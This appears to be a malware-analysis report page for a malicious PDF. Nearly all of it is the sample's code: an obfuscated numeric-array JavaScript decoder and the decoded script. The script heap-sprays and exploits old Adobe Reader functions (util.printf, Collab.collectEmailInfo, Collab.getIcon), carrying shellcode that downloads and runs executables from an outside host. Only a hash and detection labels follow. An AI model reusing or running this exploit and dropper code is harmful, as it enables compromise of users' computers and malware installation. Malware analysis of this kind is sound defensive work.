156,161,174,160,173,143,89,111,89,171,154,164,172,162,89,93,89,165,161,151,165,158,156,161,157,151,116,63,67,59,66,175,70,60,66,59,175,147,171,82,168,168,158,164,159,158,168,169,89,111,89,167,167,151,172,149,154,162,158,90,91,87,174,98,156,98,156,87,174,98,156,98,156,84,98,109,70,60,66,59,176,154,162,158,158,82,97,161,175,151,171,152,165,161,176,96,165,151,167,153,173,154,89,110,89,102,109,107,110,100,98,173,70,60,66,59,66,161,175,151,171,152,165,161,176,82,100,111,89,161,175,151,171,152,165,161,176,109,70,60,66,59,182,63,67,59,66,166,161,155,172,96,156,161,165,158,154,148,140,166,168,164,158,82,118,82,124,161,165,158,154,148,103,149,168,158,165,151,156,166,126,159,154,155,165,123,167,152,168,90,180,165,174,148,163,108,89,84,91,94,166,165,160,108,89,161,175,151,171,152,165,161,176,175,98,109,70,60,66,175,70,60,70,60,66,152,174,160,156,166,162,161,167,82,156,161,165,158,154,148,152,153,158,166,162,149,168,160,97,91,180,63,67,59,66,155,159,82,97,147,169,162,103,150,168,149,103,117,168,158,165,147,155,96,160,151,173,123,156,161,167,91,180,63,67,59,66,59,175,147,171,82,154,164,171,171,89,111,89,160,158,169,89,115,171,164,154,171,97,91,116,63,67,59,66,59,175,147,171,82,175,168,169,151,173,154,178,147,89,111,89,167,167,151,172,149,154,162,158,90,91,87,174,119,123,119,114,87,174,98,105,98,106,87,174,103,111,98,105,87,174,115,106,104,109,87,174,98,105,101,105,87,174,98,105,98,105,87,174,102,105,106,123,87,174,106,123,98,124,87,174,99,124,105,105,87,174,106,123,115,125,87,174,98,113,102,105,87,174,117,108,103,126,87,174,106,123,103,110,87,174,106,123,119,124,87,174,98,113,102,110,87,174,101,108,103,107,87,174,117,106,118,107,87,174,98,108,117,107,87,174,99,105,101,107,87,174,106,105,102,105,87,174,98,105,101,113,87,174,120,110,105,110,87,174,117,107,106,123,87,174,103,125,103,122,87,174,98,109,117,107,87,174,103,110,98,105,87,174,119,124,106,123,87,174,103,106,103,106,87,174,103,111,103,108,87,174,104,105,103,112,87,174,103,125,106,123,87,174,101,108,98,113,87,174,106,123,117,105,87,174,98,124,105,110,87,174,120,126,106,123,87,174,105,111,98,108,87,174,106,123,101,124,87,174,105,113,102,126,87,174,117,127,98,108,87,174,103,106,106,123,87,174,103,107,99,124,87,174,103,106,106,123,87,174,103,107,100,109,87,174,105,106,106,123,87,174,102,126,99,109,87,174,105,110,106,114,87,174,106,123,120,124,87,174,100,105,105,106,87,174,120,112,98,108,87,174,102,122,107,114,87,174,102,107,115,125,87,174,101,123,104,105,87,174,120,124,103,110,87,174,98,109,105,110,87,174,117,105,101,108,87,174,101,112,119,123,87,174,120,127,101,108,87,174,102,110,98,108,87,174,107,112,98,124,87,174,117,127,106,123,87,174,105,110,115,126,87,174,100,123,120,125,87,174,102,127,120,114,87,174,119,113,103,106,87,174,120,127,107,109,87,174,120,127,120,127,87,174,117,108,101,123,87,174,105,109,104,106,87,174,119,123,98,107,87,174,106,123,118,114,87,174,98,124,102,110,87,174,103,126,107,107,87,174,120,107,98,108,87,174,119,105,118,106,87,174,117,111,98,108,87,174,117,114,101,108,87,174,116,112,98,127,87,174,103,127,98,113,87,174,119,106,117,106,87,174,98,108,98,107,87,174,98,108,117,122,87,174,106,123,117,127,87,174,98,108,98,106,87,174,106,114,117,107,87,174,120,113,102,110,87,174,106,123,104,106,87,174,120,113,102,110,87,174,103,126,103,127,87,174,117,114,103,123,87,174,103,110,117,108,87,174,119,124,106,123,87,174,119,113,103,106,87,174,120,127,102,114,87,174,120,127,120,127,87,174,104,113,103,105,87,174,104,105,119,113,87,174,98,109,116,127,87,174,104,124,119,113,87,174,120,127,120,127,87,174,101,108,120,127,87,174,103,107,118,107,87,174,120,127,103,107,87,174,98,113,105,110,87,174,118,105,120,127,87,174,102,110,106,114,87,174,106,123,120,124,87,174,120,124,102,110,87,174,117,108,117,114,87,174,106,123,103,110,87,174,106,108,119,124,87,174,98,124,119,124,87,174,102,110,106,125,87,174,103,105,120,109,87,174,102,110,117,111,87,174,105,110,120,109,87,174,102,110,117,111,87,174,105,107,120,110,87,174,102,110,117,111,87,174,104,124,120,111,87,174,102,110,117,111,87,174,104,125,120,112,87,174,102,110,117,111,87,174,104,127,120,113,87,174,102,110,117,111,87,174,104,126,120,114,87,174,102,110,117,111,87,174,100,126,120,122,87,174,102,110,117,111,87,174,104,109,120,123,87,174,102,110,117,111,87,174,104,124,120,124,87,174,102,110,117,111,87,174,104,124,120,125,87,174,102,110,117,111,87,174,98,105,120,126,87,174,115,105,119,113,87,174,120,127,120,127,87,174,103,105,120,127,87,174,103,125,104,113,87,174,99,106,106,122,87,174,119,113,99,111,87,174,120,127,99,110,87,174,120,127,120,127,87,174,117,109,106,108,87,174,106,110,98,124,87,174,105,109,117,105,87,174,104,122,99,110,87,174,104,122,98,105,87,174,120,127,98,105,87,174,98,124,105,110,87,174,105,110,120,127,87,174,104,122,98,113,87,174,120,127,98,105,87,174,106,110,118,105,87,174,105,110,117,105,87,174,102,105,98,108,87,174,117,108,117,114,87,174,117,105,101,108,87,174,117,108,117,114,87,174,101,108,103,112,87,174,106,123,117,105,87,174,100,109,102,124,87,174,106,123,98,124,87,174,100,109,105,124,87,174,120,124,98,113,87,174,115,122,120,108,87,174,117,108,103,127,87,174,102,124,106,123,87,174,98,109,100,109,87,174,101,114,106,105,87,174,106,123,98,105,87,174,105,109,117,106,87,174,102,105,98,111,87,174,101,113,106,105,87,174,105,110,98,105,87,174,100,123,120,122,87,174,117,108,117,106,87,174,106,123,103,110,87,174,106,108,119,124,87,174,104,109,119,124,87,174,106,125,103,108,87,174,120,105,102,110,87,174,101,108,103,112,87,174,103,105,118,123,87,174,102,110,117,111,87,174,104,123,120,105,87,174,102,110,117,111,87,174,104,110,120,106,87,174,102,110,117,111,87,174,105,107,120,107,87,174,102,110,117,111,87,174,104,126,120,108,87,174,102,110,117,111,87,174,104,110,120,109,87,174,102,110,117,111,87,174,104,124,120,110,87,174,102,110,117,111,87,174,101,108,120,111,87,174,102,110,117,111,87,174,101,107,120,112,87,174,102,110,117,111,87,174,100,126,120,113,87,174,102,110,117,111,87,174,104,109,120,114,87,174,102,110,117,111,87,174,104,124,120,122,87,174,102,110,117,111,87,174,104,124,120,123,87,174,103,125,106,113,87,174,119,113,120,124,87,174,120,127,98,123,87,174,120,127,120,127,87,174,104,113,103,105,87,174,102,108,104,113,87,174,106,126,120,114,87,174,106,105,119,113,87,174,120,127,120,126,87,174,106,123,120,127,87,174,106,125,120,113,87,174,107,124,102,110,87,174,102,109,104,122,87,174,119,113,103,105,87,174,120,127,105,126,87,174,120,127,120,127,87,174,102,110,106,125,87,174,104,122,119,105,87,174,103,105,99,105,87,174,105,108,119,113,87,174,120,127,120,127,87,174,106,108,120,127,87,174,99,124,117,109,87,174,102,110,106,125,87,174,103,105,119,105,87,174,102,110,106,125,87,174,103,105,107,124,87,174,103,108,103,108,87,174,103,108,103,108,87,174,103,108,103,108,87,174,105,110,120,127,87,174,117,112,98,113,87,174,107,124,102,110,87,174,98,105,102,109,87,174,98,105,98,105,87,174,120,127,103,108,87,174,103,127,118,112,87,174,116,111,98,127,87,174,103,123,117,105,87,174,117,108,117,114,87,174,106,123,103,110,87,174,103,106,119,124,87,174,103,108,103,106,87,174,103,112,103,111,87,174,102,107,104,122,87,174,105,107,119,113,87,174,98,105,98,105,87,174,106,123,98,105,87,174,101,108,118,113,87,174,106,110,120,111,87,174,103,114,118,123,87,174,102,110,117,112,87,174,104,106,120,113,87,174,104,110,100,126,87,174,117,112,105,113,87,174,120,124,102,110,87,174,98,105,104,110,87,174,98,105,98,105,87,174,103,111,105,126,87,174,102,110,106,125,87,174,103,105,120,113,87,174,119,113,103,111,87,174,98,105,103,106,87,174,98,105,98,105,87,174,103,105,103,114,87,174,116,106,119,113,87,174,120,127,120,126,87,174,106,110,120,127,87,174,103,114,117,105,87,174,105,109,103,114,87,174,106,125,101,114,87,174,98,106,102,111,87,174,119,113,103,105,87,174,98,105,101,123,87,174,98,105,98,105,87,174,120,113,106,123,87,174,102,110,106,125,87,174,103,105,120,113,87,174,100,106,119,113,87,174,120,127,120,127,87,174,106,110,120,127,87,174,103,114,117,105,87,174,105,109,103,114,87,174,103,112,98,124,87,174,98,106,119,113,87,174,120,127,120,127,87,174,103,114,120,127,87,174,102,109,117,111,87,174,120,127,101,113,87,174,103,105,105,108,87,174,102,110,106,125,87,174,120,126,120,113,87,174,103,113,98,105,87,174,102,110,106,125,87,174,103,105,120,113,87,174,119,113,103,112,87,174,120,126,105,109,87,174,120,127,120,127,87,174,103,114,103,114,87,174,102,111,102,111,87,174,120,108,101,123,87,174,115,122,105,124,87,174,103,126,103,127,87,174,117,114,103,123,87,174,103,110,117,108,87,174,119,124,106,123,87,174,103,108,103,106,87,174,104,105,104,111,87,174,101,107,116,106,87,174,98,105,119,113,87,174,98,105,98,105,87,174,103,113,98,105,87,174,98,113,101,113,87,174,98,108,105,109,87,174,119,123,102,105,87,174,102,105,120,114,87,174,103,125,106,123,87,174,106,105,98,113,87,174,102,107,120,123,87,174,98,113,105,110,87,174,118,123,101,108,87,174,99,113,106,122,87,174,117,108,106,123,87,174,99,112,119,123,87,174,99,113,101,113,87,174,99,106,105,111,87,174,101,108,102,105,87,174,106,109,117,114,87,174,105,109,118,123,87,174,102,105,98,124,87,174,98,113,101,113,87,174,120,123,105,110,87,174,120,126,102,105,87,174,119,123,117,123,87,174,101,108,120,107,87,174,106,114,117,105,87,174,120,124,102,110,87,174,102,110,106,123,87,174,103,123,120,124,87,174,117,108,117,114,87,174,98,107,101,107,87,174,105,109,104,113,87,174,105,105,105,109,87,174,100,127,101,122,87,174,105,105,100,127,87,174,104,124,104,124,87,174,104,110,104,124,87,174,105,122,104,126,87,174,100,126,104,127,87,174,104,127,104,108,87,174,100,127,104,125,87,174,104,127,104,111,87,174,105,110,105,107,87,174,105,108,104,125,87,174,104,123,100,127,87,174,105,106,104,125,87,174,101,107,105,122,87,174,104,110,100,126,87,174,104,110,105,113,87,174,104,113,98,105,87,174,105,109,105,109,87,174,101,122,105,105,87,174,100,127,100,127,87,174,104,124,105,105,87,174,104,124,104,124,87,174,104,126,104,110,87,174,104,127,105,122,87,174,104,108,100,126,87,174,104,125,104,127,87,174,104,111,100,127,87,174,105,107,104,127,87,174,104,125,105,110,87,174,100,127,105,108,87,174,104,124,104,108,87,174,104,108,104,114,87,174,100,126,104,123,87,174,104,113,105,105,87,174,101,127,105,105,87,174,101,125,105,107,87,174,98,105,98,105,84,98,109,70,60,66,59,66,168,154,164,89,154,144,163,110,98,105,117,135,82,118,82,175,168,169,151,173,154,178,147,103,158,158,160,160,166,161,82,99,82,107,109,70,60,66,59,66,168,154,164,89,158,158,160,89,111,89,98,177,102,105,98,105,98,105,82,102,82,97,154,144,163,110,98,105,117,135,82,100,82,105,170,108,106,98,109,70,60,66,59,66,168,154,164,89,171,154,164,172,162,89,111,89,167,167,151,172,149,154,162,158,90,91,87,174,107,105,107,105,87,174,107,105,107,105,84,98,109,70,60,66,59,66,171,154,164,172,162,89,111,89,152,162,170,152,155,173,90,178,147,171,165,169,94,89,158,158,160,98,109,70,60,66,59,66,168,154,164,89,162,110,115,163,125,111,103,159,82,118,82,97,98,177,98,156,98,156,98,156,98,156,82,102,82,105,170,109,98,105,98,105,98,98,82,104,82,105,170,109,98,105,98,105,98,116,63,67,59,66,59,159,161,171,82,97,168,154,164,89,168,170,149,138,118,114,104,178,82,118,82,105,109,89,168,170,149,138,118,114,104,178,82,117,82,169,103,122,156,132,104,110,152,116,82,175,163,156,131,125,107,111,171,89,93,100,82,98,173,70,60,66,59,66,59,154,164,171,171,148,168,170,149,138,118,114,104,178,143,89,111,89,171,154,164,172,162,89,93,89,168,175,162,158,166,161,171,154,109,70,60,66,59,66,175,70,60,66,59,66,168,154,164,89,166,142,127,161,128,155,121,176,82,118,82,174,160,158,165,156,147,169,151,97,84,94,98,114,84,98,109,70,60,66,59,66,169,161,155,165,151,89,90,173,135,134,154,135,148,128,169,103,158,158,160,160,166,161,82,117,82,105,170,109,98,105,98,98,173,70,60,66,59,66,59,173,135,134,154,135,148,128,169,89,93,118,82,173,135,134,154,135,148,128,169,116,63,67,59,66,59,182,63,67,59,66,59,173,135,134,154,135,148,128,169,89,111,89,84,135,96,91,82,100,82,173,135,134,154,135,148,128,169,116,63,67,59,66,59,154,162,169,96,157,161,156,96,124,161,165,158,154,148,103,153,158,166,130,149,168,160,97,166,142,127,161,128,155,121,176,91,116,63,67,59,66,175,70,60,66,175,70,60,70,60,66,152,174,160,156,166,162,161,167,82,169,150,159,145,172,166,154,164,173,90,98,173,70,60,70,60,66,59,175,147,171,82,175,151,171,165,162,161,167,82,118,82,154,162,169,96,175,155,158,169,158,164,143,151,171,165,162,161,167,96,173,161,140,166,171,155,167,153,97,91,116,63,67,59,66,168,158,164,172,155,168,160,89,111,89,168,158,164,172,155,168,160,103,164,158,162,165,147,156,151,97,97,149,118,104,153,101,89,96,91,116,63,67,59,66,168,154,164,89,168,154,164,172,155,168,160,152,147,171,164,154,171,89,111,89,160,158,169,89,115,171,164,154,171,97,168,158,164,172,155,168,160,103,149,161,147,171,115,173,90,105,91,101,82,175,151,171,165,162,161,167,96,156,154,154,164,122,166,97,99,98,94,89,168,158,164,172,155,168,160,103,149,161,147,171,115,173,90,107,91,98,109,70,60,66,59,162,152,89,90,97,168,154,164,172,155,168,160,152,147,171,164,154,171,148,98,150,82,118,111,89,106,98,82,95,88,89,90,175,147,171,165,162,161,167,145,154,164,171,147,178,141,106,143,89,111,118,82,105,91,89,174,181,82,97,168,154,164,172,155,168,160,152,147,171,164,154,171,148,99,150,82,118,111,89,99,89,88,95,82,175,147,171,165,162,161,167,145,154,164,171,147,178,141,107,143,89,110,89,101,98,91,180,63,67,59,66,59,174,166,162,158,152,162,171,155,167,166,159,90,98,109,70,60,66,59,182,63,67,59,66,155,159,82,97,90,175,147,171,165,162,161,167,145,154,164,171,147,178,141,105,143,89,110,89,106,98,82,181,174,89,90,175,147,171,165,162,161,167,145,154,164,171,147,178,141,105,143,89,111,118,82,113,82,95,88,89,168,154,164,172,155,168,160,152,147,171,164,154,171,148,99,150,82,117,82,107,82,95,88,89,168,154,164,172,155,168,160,152,147,171,164,154,171,148,100,150,82,117,82,107,91,98,173,70,60,66,59,66,149,168,158,165,147,155,145,158,159,154,155,165,90,98,109,70,60,66,59,182,63,67,59,66,155,159,82,97,90,175,147,171,165,162,161,167,145,154,164,171,147,178,141,105,143,89,110,89,107,98,82,181,174,89,90,175,147,171,165,162,161,167,145,154,164,171,147,178,141,105,143,89,111,118,82,114,82,95,88,89,168,154,164,172,155,168,160,152,147,171,164,154,171,148,99,150,82,117,82,106,91,98,173,70,60,66,59,66,149,168,158,165,147,155,145,160,151,173,155,156,161,167,90,98,109,70,60,66,59,182,63,67,59,182,63,67,63,67,59,169,150,159,145,172,166,154,164,173,90,98,109,70,60,66],abgmqs=function(){for(var cklnx;aejx<beft.length;aejx+=1){var lmow=aejx%efln.length+1;var knuwy=efln.substring(aejx%efln.length,lmow);var hjpr=beft[aejx];cekpv+=dfikq(hjpr-knuwy.charCodeAt(0));} eguxy(cekpv);};abgmqs();cghsu="";ajrx=false;hikm="hikm";efgk="efgk";
`legacy_pdfkit_stage_000.js`	deobfuscated-js	numeric array subtract-key decoded JavaScript at offset 0x1A5	9958 bytes
SHA-256: `dc465c3333d0fdf326f1431180cc2753d6c670336136022503ce4454cac6a2bd`
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script function fix_it(yarsp, len){ while (yarsp.length * 2 < len){ yarsp += yarsp; } yarsp = yarsp.substring(0, len/2); return yarsp; } function util_printf(){ var payload = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u702F%u6C6C%u656C%u7A6E%u2E6F%u6F63%u2F6D%u6F66%u7572%u736D%u672F%u746A%u3277%u652E%u6578%u6800%u7474%u3A70%u2F2F%u6C70%u6C6C%u6E65%u6F7A%u632E%u6D6F%u662F%u726F%u6D75%u2F73%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A") var heapblock = nop + payload; var bigblock = unescape("%u0A0A%u0A0A"); var headersize = 20; var spray = headersize + heapblock.length; while (bigblock.length < spray){ bigblock += bigblock; } var fillblock = bigblock.substring(0, spray); var block = bigblock.substring(0, bigblock.length-spray); while (block.length+spray < 0x40000){ block = block + block + fillblock; } var mem_array = new Array(); for (var i = 0; i < 1400; i++){ mem_array[i] = block + heapblock; } var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888; util.printf("%45000f", num); } function collab_email(){ var shellcode = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u702F%u6C6C%u656C%u7A6E%u2E6F%u6F63%u2F6D%u6F66%u7572%u736D%u632F%u7069%u7775%u2E32%u7865%u0065%u7468%u7074%u2F3A%u702F%u6C6C%u656C%u7A6E%u2E6F%u6F63%u2F6D%u6F66%u7572%u736D%u632F%u696C%u6B63%u702E%u7068%u723F%u003D"); var mem_array = new Array(); var cc = 0x0c0c0c0c; var addr = 0x400000; var sc_len = shellcode.length * 2; var len = addr - (sc_len+0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var count2 = (cc - 0x400000)/addr; for (var count = 0; count < count2; count++){ mem_array[count] = yarsp + shellcode; } var overflow = unescape("%u0c0c%u0c0c"); while (overflow.length < 44952){ overflow += overflow; } this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow}); } function collab_geticon(){ if (app.doc.Collab.getIcon){ var arry = new Array(); var vvpethya = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u702F%u6C6C%u656C%u7A6E%u2E6F%u6F63%u2F6D%u6F66%u7572%u736D%u6B2F%u716D%u327A%u652E%u6578%u6800%u7474%u3A70%u2F2F%u6C70%u6C6C%u6E65%u6F7A%u632E%u6D6F%u662F%u726F%u6D75%u2F73%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var hWq500CN = vvpethya.length * 2; var len = 0x400000 - (hWq500CN + 0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000; for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){ arry[vqcQD96y] = yarsp + vvpethya; } var tUMhNbGw = unescape("%09"); while (tUMhNbGw.length < 0x4000){ tUMhNbGw += tUMhNbGw; } tUMhNbGw = "N." + tUMhNbGw; app.doc.Collab.getIcon(tUMhNbGw); } } function pdf_start(){ var version = app.viewerVersion.toString(); version = version.replace(/\D/g,''); var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2)); if ((varsion_array[0] == 8) && (varsion_array[1] == 0) \|\| (varsion_array[1] == 1 && varsion_array[2] < 3)){ util_printf(); } if ((varsion_array[0] < 8) \|\| (varsion_array[0] == 8 && varsion_array[1] < 2 && varsion_array[2] < 2)){ collab_email(); } if ((varsion_array[0] < 9) \|\| (varsion_array[0] == 9 && varsion_array[1] < 1)){ collab_geticon(); } } pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.

PDF

Malware Insights

Machine Learning

Heuristics 13

Related samples 8

Extracted artifacts 2